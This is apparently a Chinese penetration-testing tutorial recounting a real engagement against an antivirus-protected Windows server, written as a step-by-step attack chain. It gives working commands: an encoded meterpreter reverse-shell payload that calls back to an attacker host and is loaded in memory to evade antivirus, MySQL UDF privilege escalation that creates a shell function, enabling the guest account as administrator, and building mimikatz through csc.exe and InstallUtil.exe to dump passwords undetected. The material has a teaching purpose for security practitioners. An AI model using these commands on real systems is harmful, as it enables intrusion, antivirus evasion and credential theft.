# 第五十一课：项目回忆：体系的本质是知识点串联

> 一次普通的项目，做完后，却陈思很久，遂打算一气合成把整个流程记录下来，此篇再一次的叮嘱我：分享便是我最好的老师。\
> Micropoor

拿shell过程略过。（由于文章在项目实施结束形成，故部分无图或补图）

## 目标机背景：

windows 2008 r2 x64位 360主动 + 360卫士 + 360杀毒 + waf，目标机仅支持 aspx。运行 OAWeb 服务（.net+mssql），并且是内网中其他服务器的数据库服务器（mysql 数据库，不支持 php，无 .net for mysql 驱动）

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpI2F7R9N7tHm2W%2F7aa1856e57ac0ef987a329b1b89a4524.jpg?generation=1551060439075983\&alt=media)

## 端口开放如下：

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpKuMNIgspAs7pP%2Fd599b0029b2b161bc950e73a1c40b841.jpg?generation=1551060444159548\&alt=media)

## 需要解决的第一个问题：payload

由于目标机，安装某套装，payload 一定是必须要解决的问题。当 tasklist 的时候，看到如下图几个进程的时候，第一反应就是需要做 payload 分离免杀。分离免杀主要分两大类，一类为第三方分离免杀，一类为自带安装分离免杀。文章中，采取了第三方分离免杀。

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpMuq5fiLIQfbr1%2Fd2673aa4f5b1e77887ad446a0fdb2ec4.jpg?generation=1551060443754740\&alt=media)

## 本地补图（由于项目在实施后形成该文章，故本地靶机补图）

目前的反病毒安全软件，常见有三种，一种基于特征，一种基于行为，一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种，都是特别针对PE头文件的查杀。尤其是当payload文件越大的时候，特征越容易查杀。

既然知道了目前的主流查杀方式，那么反制查杀，此篇采取特征与行为分离免杀。避免PE头文件，并且分离行为，与特征的综合免杀。适用于菜刀下等场景，也是我在基于windows下为了更稳定的一种常用手法。载入内存。

## 0x00:以msf为例：监听端口

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpOnIX4z604zYeS%2F19dfebd9ab71a4e0c11ac47a082a5d7a.jpg?generation=1551060431990833\&alt=media)

## 0x01：这里的payload不采取生成pe文件，而采取shellcode方式，来借助第三方直接加载到内存中。避免行为：

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c
```

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpQEKbMz9tlXDy4%2F1a912494f05f8ca99edf268225e1a66f.jpg?generation=1551060444265807\&alt=media)

## 0x02:既然是shellcode方式的payload，那么需要借助第三方来启动，加载到内存。执行shellcode，自己写也不是很难，这里我借用一个github一个开源：

<https://github.com/clinicallyinane/shellcode_launcher/>

> 作者的话：建议大家自己写shellcode执行盒，相关代码网上非常成熟。

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpSLpApZiiIPJOf%2F8b5a85a36c75eb412d5938adcb9c07f8.jpg?generation=1551060454444350\&alt=media)

生成的payload大小如下：476字节。

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpUv-cva9oruhJO%2Ff4ca74ee9eebe883fdf665a892e0b058.jpg?generation=1551060445708816\&alt=media)

世界杀毒网：\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpWXKWbmdHDhj9w%2F663bc4d955c71bf9882c9a31761e0c14.jpg?generation=1551060440671828\&alt=media)

上线成功。\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpYPkS6M4UX8pR_%2Fbe28c1202684af6369757b813f4d9649.jpg?generation=1551060428969326\&alt=media)

而关于自带安装分离免杀，请参考我在公司 Wiki 上写的第六十九课时 **payload分离免杀思路第二季**

payload 反弹到 vps 的 msf 上，我的权限仅仅如下。\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqp_P38zKdM_lPdf%2F19694da12bf09c5a567986db01872863.jpg?generation=1551060439141286\&alt=media)

## 需要解决的第二个问题：提权

参考主机背景图，184个补丁，以及某套装。遂放弃了exp提权。

* 原因1：需要更多的时间消耗在对反病毒软件对抗。 &#x20;
* 原因2：目标机补丁过多。需要消耗更多的时间 &#x20;
* 原因3：非常艰难的环境下，拿到了权限，不想因为某些exp导致蓝屏从而丢失权限。

开始翻阅目标机上的文件，以及搜集目标机的端口，服务，启动等一系列信息。发现目标机安装mysql，并与内网其中一台建立大量连接。mysql版本为5.1.49-community-log

下载目标机\*..MYI，\*.MYD，\*.frm，加载于本地mysql。得到目标机root密码\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpbsKMUxmrlW8yI%2F6344f895e12122941c872ea7ec30e968.jpg?generation=1551060434758465\&alt=media)

而目标机没有相关脚本环境连接mysql，到这里，可以有2个方向针对该问题作出解决

* 一：转发目标机端口到本地，从而操作mysql。 &#x20;
* 二：在非交互式下，完成mysql udf的提权。

为了减少目标主机的流量探测，以及维护来之不易的session，故选择了第二种方案。非交互式下，mysql提权。

命令行下，调用mysql是需要在启动一个mysql窗口，从而继续执行，而session下没有这样的条件。但mysql的 -e 参数 作为直接执行sql语句，从而不另启动窗口。而-e需要注意的事项，use database。

也就是所有参数需要mysql.xxxx\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpdph9REwALSxV1%2F8ebbf18b920c921b26d200c0764b0e51.jpg?generation=1551060436123461\&alt=media)

如没有指定database，将会出现如下错误，而使用UNION，将不会有回显，一定出现问题，将会很难定位，故选择以mysql.x的方式指定。

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpfXRkWWDOkySFs%2Fd66e6280c230d7df5594034f2b120506.jpg?generation=1551060453419047\&alt=media)

大致流程如下：

```bash
mysql -uroot -pXXXXXX -e "create table mysql.a (cmd LONGBLOB);" 
mysql -uroot -pXXXXXX -e "insert into mysql.a (cmd) values (hex(load_file('D:\\XXXXXXXXXX\\mysql5\\lib\\plugin\\u.dll')));"
mysql -u root -pXXXXXX -e "SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE 'D:/XXXXXXXXXX/mysql5/lib/plugin/uu.dll';"
mysql -uroot -pXXXXXX -e "CREATE FUNCTION shell RETURNS STRING SONAME 'uu.dll'" 
mysql -uroot -pXXXXXX -e "select shell('cmd','whoami');"
```

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqph-HOvqxm4hIf-%2F9937c23b9e70b9cdd717edaf8872424c.jpg?generation=1551060439595315\&alt=media)

## 需要解决的第三个问题：登录服务器

在有套装的环境下，默认拦截cmd下加帐号，而目前又无法抓取系统登录明文。mimikatz被查杀。cmd下调用powershell被拦截。遂选择激活guest帐号，并提升到administrators组，来临时登录目标机。\
![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpj0k73bn91g-OC%2F4eb174d39dbe43bc7d4428629d5398b0.jpg?generation=1551060439173907\&alt=media)

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqplJxhBiXHgQPi7%2F3455e7d1c707e61e18e8addd6e9cf92f.jpg?generation=1551060453511048\&alt=media)

## socks代理登录目标机：

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqpnr731A1QcT-W0%2F071c738c001832dabeda3cf1474eb585.jpg?generation=1551060436063342\&alt=media)

## 需要解决的第四个问题：抓取目标机明文密码

登录服务器后，目前依然不知道目标机的密码。这里有两种方向来解决该问题。

* 一：关闭我能关闭的套装，由于管理员没有注销登录。能关闭的有限。 &#x20;
* 二：分离免杀做mimikatz密码抓取

作者选择了第二种方案：

这里需要用到**csc.exe，与InstallUtil.exe**

关于两个文件默认安装位置：（注意x32，x64区别）

```bash
C:\Windows\Microsoft.NET\Framework\
C:\Windows\Microsoft.NET\Framework64\
C:\Windows\Microsoft.NET\Framework\
C:\Windows\Microsoft.NET\Framework64\
```

分别执行：

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micropoor.exe /keyfile:C:\Users\Johnn\Desktop\installutil.snk /unsafe
C:\Users\Johnn\Desktop\mimi.cs

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Johnn\Desktop\Micropoor.exe
```

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqppIe2aU-5Ba0xK%2F18d0d45533111eb2d484ea1d82de9468.jpg?generation=1551060442155025\&alt=media)

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqprkwWCWsRQlDtr%2F69b5325b911756ed887ffd19523ae927.jpg?generation=1551060452250407\&alt=media)

## 派生出的第五个问题：横向渗透

关于第五个问题，本意并不是该篇幅所要讲述的，后续是搜集目标机的mssql，mysql，rdp 密码。搜集所在内网的拓扑，来辅助本次的横向扩展。便完成了本次的项目。 如需具体，请参考我在Wiki上的系列教程78，79，12，13，71课时。

![](https://1465213733-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LZJtlFN7NOR8zMCiJsm%2F-LZXOtmCj3pT3_pYH1dV%2F-LZJwqptUqi0le4zTPnl%2Feccebe5ce07798d977d07e4c3c0d6e8b.jpg?generation=1551060435943769\&alt=media)

> 后者的话： 本次的整个流程，并没有遇到太多的问题，仅仅是把几个知识点的串联起来，形成的一个完整的渗透。也许你了解知识点1，也了解知识点2，还了解知识点3等等。但是一次完整的项目是离不开每一个知识点的串联与灵活运用。这应该是每一个信息安全从业人员值得思考的问题。

**在每次分享的同时，深深发现，原来分享，才是我最好的老师。**

> Micropoor
